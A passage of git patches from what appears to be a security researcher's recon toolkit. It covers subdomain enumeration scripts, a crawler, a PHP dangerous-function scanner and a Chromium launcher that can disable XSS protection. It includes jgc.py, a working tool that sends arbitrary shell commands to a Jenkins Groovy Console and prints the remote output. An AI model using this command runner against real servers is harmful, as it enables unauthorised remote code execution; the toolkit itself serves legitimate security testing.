crawl.py delete mode 100755 dec0der.sh delete mode 100644 endpoints.txt delete mode 100755 enumeratescope.sh mode change 100755 => 100644 subdomain_enum.sh diff --git a/vi.py b/Vi/vi.py similarity index 98% rename from vi.py rename to Vi/vi.py index 096e41f..6ff26c7 100644 --- a/vi.py +++ b/Vi/vi.py @@ -119,6 +119,8 @@ def recon(emails: set, javascript_files: set): for mail in emails: print(mail) + for url in urls: + print(url) for js_file in javascript_files: print(js_file) diff --git a/chromium b/chromium deleted file mode 100755 index 5e907ef..0000000 --- a/chromium +++ /dev/null @@ -1,37 +0,0 @@ -#!/bin/bash -# -# see available options: -# http://peter.sh/experiments/chromium-command-line-switches/ -# -# 8080 - is a standard port for Burp - -# To disable XSS Auditor in Chromium simply put 0 as second argument, 1 leaves XSS Auditor enabled -# to enable auto opening DevTools, set 1 as a third argument - -echo -echo "Usage: chromium [port] [enable xss Auditor] [open DevTools for new tabs]" -echo " example:" -echo " $ chromium 8080 1 1 - runs Chromium listening on 8080, XSS Auditor enabled and DevTools open in new tab(s)" - -# default settings -xss_auditor="" -port="" -devtools="" - -if [ $1 -ne 80 ]; then - port="--proxy-server=127.0.0.1:$1" -fi - -if [ $2 == 0 ]; then - xss_auditor="--disable-xss-auditor" -fi - -if [ $3 == 1 ]; then - devtools="--auto-open-devtools-for-tabs" -fi - -# update those lines to your system specific path: -cd /Applications/Chromium.app/Contents/MacOS -echo "[+] running ./Chromium $port $xss_auditor $devtools" - -./Chromium $port $xss_auditor $devtools diff --git a/composer.json b/composer.json deleted file mode 100644 index 5575f14..0000000 --- a/composer.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "require-dev": { - "phpstan/phpstan": "^1.8" - } -} \ No newline at end of file diff --git a/composer.lock b/composer.lock deleted file mode 100644 index 51bd5e0..0000000 --- a/composer.lock +++ /dev/null @@ -1,78 +0,0 @@ -{ - "_readme": [ - "This file locks the dependencies of your project to a known state", - "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", - "This file is @generated automatically" - ], - "content-hash": "911267b8ad1b1bb25c74a4db8118c301", - "packages": [], - "packages-dev": [ - { - "name": "phpstan/phpstan", - "version": "1.8.2", - "source": { - "type": "git", - "url": "https://github.com/phpstan/phpstan.git", - "reference": "c53312ecc575caf07b0e90dee43883fdf90ca67c" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phpstan/phpstan/zipball/c53312ecc575caf07b0e90dee43883fdf90ca67c", - "reference": "c53312ecc575caf07b0e90dee43883fdf90ca67c", - "shasum": "" - }, - "require": { - "php": "^7.2|^8.0" - }, - "conflict": { - "phpstan/phpstan-shim": "*" - }, - "bin": [ - "phpstan", - "phpstan.phar" - ], - "type": "library", - "autoload": { - "files": [ - "bootstrap.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "description": "PHPStan - PHP Static Analysis Tool", - "support": { - "issues": "https://github.com/phpstan/phpstan/issues", - "source": "https://github.com/phpstan/phpstan/tree/1.8.2" - }, - "funding": [ - { - "url": "https://github.com/ondrejmirtes", - "type": "github" - }, - { - "url": "https://github.com/phpstan", - "type": "github" - }, - { - "url": "https://www.patreon.com/phpstan", - "type": "patreon" - }, - { - "url": "https://tidelift.com/funding/github/packagist/phpstan/phpstan", - "type": "tidelift" - } - ], - "time": "2022-07-20T09:57:31+00:00" - } - ], - "aliases": [], - "minimum-stability": "stable", - "stability-flags": [], - "prefer-stable": false, - "prefer-lowest": false, - "platform": [], - "platform-dev": [], - "plugin-api-version": "2.1.0" -} diff --git a/crawl.py b/crawl.py deleted file mode 100644 index 1b4fc55..0000000 --- a/crawl.py +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/python -import sys -import json -import requests -import argparse -from bs4 import BeautifulSoup - - -def results(file): - content = open(file, 'r').readlines() - for line in content: - data = json.loads(line.strip()) - urls = [] - for url in data['results']: - urls.append(url['url']) - return urls - - -def crawl(url): - r = requests.get(url) - soup = BeautifulSoup(r.text, 'lxml') - links = soup.findAll('a', href=True) - for link in links: - link = link['href'] - if link and link != '#': - print '[+] {} : {}'.format(url, link) - -if __name__ == "__main__": - parser = argparse.ArgumentParser() - parser.add_argument("file", help="ffuf results") - args = parser.parse_args() - urls = results(args.file) - - for url in urls: - crawl(url) diff --git a/dec0der.sh b/dec0der.sh deleted file mode 100755 index bd914db..0000000 --- a/dec0der.sh +++ /dev/null @@ -1,18 +0,0 @@ -#!/bin/bash - -# simple command line decoder/enmcoder -# by bl4de -# -# invoke: -# dec0der [FROM] [string] - -FROM=$1 -STRING=$2 - -if [[ $FROM == 'ascii' ]]; then - echo $STRING | xxd -r -p -fi - -if [[ $FROM == 'base64' ]]; then - echo $STRING | base64 -D -fi diff --git a/endpoints.txt b/endpoints.txt deleted file mode 100644 index ff772e2..0000000 --- a/endpoints.txt +++ /dev/null @@ -1 +0,0 @@ -/api/v1/user diff --git a/enumeratescope.sh b/enumeratescope.sh deleted file mode 100755 index 46c4e8b..0000000 --- a/enumeratescope.sh +++ /dev/null @@ -1,100 +0,0 @@ -#!/bin/bash -# Subdomain enumeration and web server discovery + screenshot tools -# -# @author: bl4de -# @licence: MIT -# - -HOME=/Users/bl4de - -## create domains/ folder -create_domains_folder() { - if [ ! -d domains ]; then - mkdir domains - echo -e "$(date) domains/ folder created" >> subdomain_enum.log - fi -} - - -## perform sublist3r, subfinder and amass enumeration on each domain passed as an argument -enumerate_domain() { - local DOMAIN=$1 - echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log - sublister -d $DOMAIN -o domains/$DOMAIN.sublister - subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - # amass enum -active -norecursive -noalts -d $DOMAIN -o domains/$DOMAIN.amass - - if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then - cat domains/$DOMAIN.* > domains/$DOMAIN.all - sort -u -k 1 domains/$DOMAIN.all > domains/$DOMAIN - fi - rm -f domains/$DOMAIN.* - echo -e "$(date) finished enumerate $DOMAIN, total number of unique domains found: $(cat domains/$DOMAIN|wc -l)" >> subdomain_enum.log -} - -## creates list of uniqe, sorted domains obtained from subdomain enum tools: -create_list_of_domains() { - echo -e "$(date) create final list of domains found..." >> subdomain_enum.log - # concatenate and sort all domains from the target - cat domains/*.* > domains/all - # remove
left from DNS records into unsorted list with dups: - sed 's/
/#/g' domains/all | tr '#' '\n' > domains/unsorted - # remove dups and create final list of domains: - sort -u -k 1 domains/unsorted > domains/final - # remove temporary files - rm -f domains/all domains/unsorted - # show how many uniq domains were found: - echo -e "$(date) ... Done! $(cat domains/final|wc -l) unique domains gathered \o/" >> subdomain_enum.log -} - - -## runs denumerator -run_denumerator() { - echo $1 - echo -e "$(date) denumerator started" >> subdomain_enum.log - # denumerator -f domains/final -c 200,403,500,301,302,304,404,206,405,411,415,422 --dir $1 --output __$1.log - denumerator -f domains/final -c 200,403,500,206,405,411,415,422 --dir $1 --output __$1.log - echo -e "$(date) denumerator finished" >> subdomain_enum.log - echo -e "$(date) total webservers enumerated and saved to report: $(ls -l reports/$1 | wc -l)" >> subdomain_enum.log -} - - - -## ----------------------------------------------------------------------------- - -# list of domains - text file, one domain per line -DOMAINS=$1 - -# output directory for denumerator -if [ -z $2 ]; then - OUTPUT_DIR="report" -else - OUTPUT_DIR=$2 -fi - - -# IP address range -CIDR=$3 - -echo -e "$(date) subdomain_enum.sh started" > subdomain_enum.log - -# enusre that domains/ folder exists, if not create one -create_domains_folder - -cat $DOMAINS | while read DOMAIN -do - enumerate_domain $DOMAIN -done - -# concatenate and sort all domains from the target -create_list_of_domains -echo -e "\n[+} DONE. Found $(wc -l domains/final) unique subdomains" - -# run denumerator on the domains/domains.final output file -run_denumerator $OUTPUT_DIR - -echo -e "\n[+} DONE." - -## ----------------------------------------------------------------------------- - - diff --git a/ip_generator.py b/ip_generator.py index 75330a1..9952cbd 100755 --- a/ip_generator.py +++ b/ip_generator.py @@ -18,7 +18,7 @@ def help(): - print usage + print(usage) def generate(start, stop, logfile): @@ -31,6 +31,7 @@ def generate(start, stop, logfile): logfile.writelines("{}\n".format(res)) return + if __name__ == "__main__": f = open("ip_list.log", "w+") @@ -41,7 +42,6 @@ def generate(start, stop, logfile): start = sys.argv[1].split(".") stop = sys.argv[2].split(".") - print "\n[+] generating IP addresses in range from {} to {}...".format(sys.argv[1], sys.argv[2]) + print("\n[+] generating IP addresses in range from {} to {}...".format(sys.argv[1], sys.argv[2])) generate(start, stop, f) - print "[+] addresses generated...\n" - \ No newline at end of file + print("[+] addresses generated...\n") diff --git a/jgc.py b/jgc.py index 71a8504..2511599 100755 --- a/jgc.py +++ b/jgc.py @@ -2,27 +2,28 @@ import requests import sys -print """ -Jenkins Groovy Console cmd runner. +print(""" + Jenkins Groovy Console cmd runner. -usage: ./jgc.py [HOST] + usage: ./jgc.py [HOST] + + Then type any command and wait for STDOUT output from remote machine. + Type 'exit' to exit :) +""") -Then type any command and wait for STDOUT output from remote machine. -Type 'exit' to exit :) -""" URL = sys.argv[1] + '/scriptText' HEADERS = { 'User-Agent': 'jgc' } while 1: - CMD = raw_input(">> Enter command to execute (or type 'exit' to exit): ") + CMD = input(">> Enter command to execute (or type 'exit' to exit): ") if CMD == 'exit': - print "exiting...\n" + print("exiting...\n") exit(0) DATA = { 'script': 'println "{}".execute().text'.format(CMD) } result = requests.post(URL, headers=HEADERS, data=DATA) - print result.text + print(result.text) diff --git a/subdomain_enum.sh b/subdomain_enum.sh old mode 100755 new mode 100644 From a5cbfbec76e7757913b3eab757ecd7fbd9e8226e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Aug 2024 18:07:29 +0100 Subject: [PATCH 338/369] cleanup --- Vi/vi.py | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/Vi/vi.py b/Vi/vi.py index 6ff26c7..af5d33c 100644 --- a/Vi/vi.py +++ b/Vi/vi.py @@ -1,9 +1,10 @@ -from bs4 import BeautifulSoup -import requests -import requests.exceptions +import re import urllib.parse from collections import deque -import re + +import requests +import requests.exceptions +from bs4 import BeautifulSoup ''' Vi.py - an automated script to extract all inteersting information from website @@ -19,9 +20,6 @@ - parse HTML for stuff - harvest useful information from any comment found (in HTML and JS alike) - other? (TBA) - -- add as a submodule (enabled by cmd option) to denumerator.py - and perform full recon of every website found in scope ''' @@ -92,7 +90,7 @@ def recon(emails: set, javascript_files: set): parts = urllib.parse.urlsplit(url) base_url = '{0.scheme}://{0.netloc}'.format(parts) - path = url[:url.rfind('/')+1] if '/' in parts.path else url + path = url[:url.rfind('/') + 1] if '/' in parts.path else url print('[%d] Processing %s' % (count, url)) try: @@ -126,7 +124,6 @@ def recon(emails: set, javascript_files: set): if __name__ == "__main__": - emails = set() javascript_files = set() From 03fcd59a461886e1cc7f227825b6626b9a8d5334 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 15 Aug 2024 12:38:15 +0100 Subject: [PATCH 339/369] updates --- Vi/vi.py | 1 + s0mbra.sh | 2 ++ 2 files changed, 3 insertions(+) mode change 100644 => 100755 Vi/vi.py diff --git a/Vi/vi.py b/Vi/vi.py old mode 100644 new mode 100755 index af5d33c..7e4fddc --- a/Vi/vi.py +++ b/Vi/vi.py @@ -1,3 +1,4 @@ +#!/usr/bin/env python import re import urllib.parse from collections import deque diff --git a/s0mbra.sh b/s0mbra.sh index e25c7cd..3be341d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -847,6 +847,7 @@ case "$cmd" in ;; *) clear + echo -e "$CLR" echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" echo -e "$CYAN webservers $GRAY[SUBDOMAINS FILE]$CLR" @@ -883,5 +884,6 @@ case "$cmd" in echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t$CYAN hashme $GRAY[STRING]$CLR" echo -e "$CLR" + echo -e "$CLR" ;; esac From 6b0ce6b47f9f5cfd41e2e04516beb9a86b9cb81f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 18 Aug 2024 12:31:51 +0100 Subject: [PATCH 340/369] small updates --- pef/pef.py | 2 +- s0mbra.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index df18390..89510f0 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -299,7 +299,7 @@ def run(self): self.scanned_files = self.scanned_files + 1 (res, file_found) = self.main(os.path.join(root, f)) if file_found > 0: - print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n\n") + print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n") total_found += file_found else: self.scanned_files = self.scanned_files + 1 diff --git a/s0mbra.sh b/s0mbra.sh index 3be341d..c66111f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -262,7 +262,7 @@ webservers() { START_TIME=$(date) # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,403,500 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From 82ef16e2b7ae9a0cb3c879f2efb018743890f89a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 18 Aug 2024 12:32:16 +0100 Subject: [PATCH 341/369] small updates --- pef/pef.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index 89510f0..407e036 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -318,7 +318,7 @@ def print_summary(self, total_found: int) -> None: """ prints summary at the bottom of search results """ - print(f"{beautyConsole.getColor('white')}Issues found: {total_found}") + print(f"{beautyConsole.getColor('white')}Patterns found: {total_found}") print(f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}") print(f"{beautyConsole.getColor('grey')}Level: {self.level}\n") From 159045b3185435ed65318a2a2fd1f4830faf778b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 19 Aug 2024 09:59:02 +0100 Subject: [PATCH 342/369] pefdocs update --- pef/imports/pefdocs.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index e6fa9ab..d17844c 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -85,7 +85,7 @@ "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", "popen ( string $command , string $mode ) : resource", "Code Injection", - "high", + "critical", "sink" ], "proc_open()": [ @@ -145,7 +145,7 @@ "Calls the callback given by the first parameter and passes the remaining parameters as arguments.", "call_user_func ( callable $callback [, mixed $... ] ) : mixed", "Code Injection", - "medium", + "high", "sink" ], "ereg_replace()": [ @@ -531,7 +531,7 @@ "Write data to a file", "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", "Arbitrary file write", - "medium", + "high", "source" ], "SELECT.*FROM": [ From 3927893f85cd5e4982f27af75380fc7328e52e65 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 8 Sep 2024 20:14:56 +0100 Subject: [PATCH 343/369] [s0mbra] menu update --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index c66111f..4ff49e3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -873,10 +873,10 @@ case "$cmd" in echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" - echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN urls $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN secrets $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR\t$CYAN endpoints $GRAY[FILE|DIR|URL]\t$YELLOW(JavaScript)$CLR" + echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" From 2c82ccbdb909bc08cbf1381735f661060cdea9da Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Oct 2024 12:37:03 +0100 Subject: [PATCH 344/369] [s0mbra] remove Subfinder --- s0mbra.sh | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4ff49e3..62939ac 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -217,11 +217,11 @@ peek() { START_TIME=$(date) DOMAIN=$1 echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" - - # sublister - echo -e "\n$GREEN--> sublister$CLR\n" - sublister -v -d $DOMAIN -o "$TMPDIR/sublister_$DOMAIN.log" + ## + ## other subdomain enumeration tool(s) goes here... + ## + # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/subfinder.log @@ -234,18 +234,17 @@ peek() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,301,302,403,500 -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log rm -rf httpx* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" osascript -e 'display notification "Hey choom, peek finished!" with title "s0mbra says:"' @@ -262,7 +261,7 @@ webservers() { START_TIME=$(date) # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,403,500 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,301,302,304,403,500 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From 15cbf80a3adbc1389eebd2e262ad2031da8a6ff8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Oct 2024 18:32:01 +0100 Subject: [PATCH 345/369] [s0mbra] revert changes --- s0mbra.sh | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 62939ac..804f4b3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -217,11 +217,11 @@ peek() { START_TIME=$(date) DOMAIN=$1 echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" - - ## - ## other subdomain enumeration tool(s) goes here... - ## + # sublister + echo -e "\n$GREEN--> sublister$CLR\n" + sublister -v -d $DOMAIN -o "$TMPDIR/sublister_$DOMAIN.log" + # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/subfinder.log @@ -238,13 +238,14 @@ peek() { # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" + rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log rm -rf httpx* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" osascript -e 'display notification "Hey choom, peek finished!" with title "s0mbra says:"' From 33aec79d82d91efde0cae8670637dac918d44379 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Oct 2024 18:48:17 +0100 Subject: [PATCH 346/369] [s0mbra] Split peek into enum+webservers --- s0mbra.sh | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 804f4b3..bcc9f7b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -209,7 +209,7 @@ nfs_enum() { } # quick scope, but for single domain - no need to create scope file -peek() { +enum() { TMPDIR=$(pwd)/$1 if [[ ! -d $TMPDIR ]]; then mkdir -p $TMPDIR @@ -232,23 +232,17 @@ peek() { sort -u -k 1 $TMPDIR/step2 > $TMPDIR/subdomains_final.log rm -f $TMPDIR/step* - # httpx - echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,301,302,403,500 -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log - # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log - rm -rf httpx* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" - osascript -e 'display notification "Hey choom, peek finished!" with title "s0mbra says:"' + osascript -e 'display notification "Hey choom, enum finished!" with title "s0mbra says:"' } @@ -722,8 +716,8 @@ case "$cmd" in set_ip) set_ip "$2" ;; - peek) - peek "$2" + enum) + enum "$2" ;; webservers) webservers "$2" @@ -849,7 +843,7 @@ case "$cmd" in clear echo -e "$CLR" echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" + echo -e "$CYAN enum $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" echo -e "$CYAN webservers $GRAY[SUBDOMAINS FILE]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" From 48d109b04f5b194dda615e43beafd8f7ee665dd2 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 7 Dec 2024 11:48:29 +0000 Subject: [PATCH 347/369] [pef] check level param; default levels --- Vi/vi.py | 2 +- pef/pef.py | 20 ++++++++++++-------- s0mbra.sh | 29 +++++------------------------ 3 files changed, 18 insertions(+), 33 deletions(-) diff --git a/Vi/vi.py b/Vi/vi.py index 7e4fddc..43408b9 100755 --- a/Vi/vi.py +++ b/Vi/vi.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 import re import urllib.parse from collections import deque diff --git a/pef/pef.py b/pef/pef.py index 407e036..2953b73 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -153,6 +153,10 @@ "DELETE.*FROM" ] +# allowed scan levels +ALLOWED_LEVELS = ['ALL', 'LOW', 'MEDIUM', 'HIGH', 'CRITICAL'] +DEFAULT_LEVELS = 'MEDIUM,HIGH,CRITICAL' + def banner(): """ @@ -334,30 +338,30 @@ def print_summary(self, total_found: int) -> None: phpfunction = '' parser.add_argument( - "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") + "-s", "--skip-vendor", help=f"exclude ./vendor folder", action="store_true") parser.add_argument( - "-v", "--verbose", help="show documentation", action="store_true") + "-v", "--verbose", help=f"show documentation", action="store_true") parser.add_argument( "-l", "--level", - help="severity: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL\nif -f is set, this setting is ignored") + help=f"severity: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: {DEFAULT_LEVELS} if -f is set, this setting is ignored") parser.add_argument( - "-S", "--sources", help="show only sources", action="store_true") + "-S", "--sources", help=f"show only sources", action="store_true") parser.add_argument( - "-K", "--sinks", help="show only sinks", action="store_true") + "-K", "--sinks", help=f"show only sinks", action="store_true") parser.add_argument( "-f", "--function", - help="Search for particular PHP function (eg. unserialize)", + help=f"Search for particular PHP function (eg. unserialize)", ) parser.add_argument( "-d", "--dir", - help="Directory to scan (or sinlge file, optionally)", + help=f"Directory to scan (or sinlge file, optionally)", ) args = parser.parse_args() - level = args.level.upper() if args.level else 'MEDIUM,HIGH,CRITICAL' + level = args.level.upper() if args.level in ALLOWED_LEVELS else 'MEDIUM,HIGH,CRITICAL' # if we are looking for a specific function, level is not taken into account if args.function is not None: diff --git a/s0mbra.sh b/s0mbra.sh index bcc9f7b..34b3f86 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -237,33 +237,18 @@ enum() { rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log - END_TIME=$(date) - echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" - echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e "\n$BLUE[s0mbra] Done.$CLR" - osascript -e 'display notification "Hey choom, enum finished!" with title "s0mbra says:"' -} - - -# httpx only list -webservers() { - if [[ -z $1 ]]; then - SUBDOMAINS="subdomains_final.log" - elif [[ -n $1 ]]; then - SUBDOMAINS="$1" - fi - START_TIME=$(date) # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,301,302,304,403,500 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,301,302,304,403,500 -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $(pwd)/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" + echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY httpx found \t\t\t $YELLOW 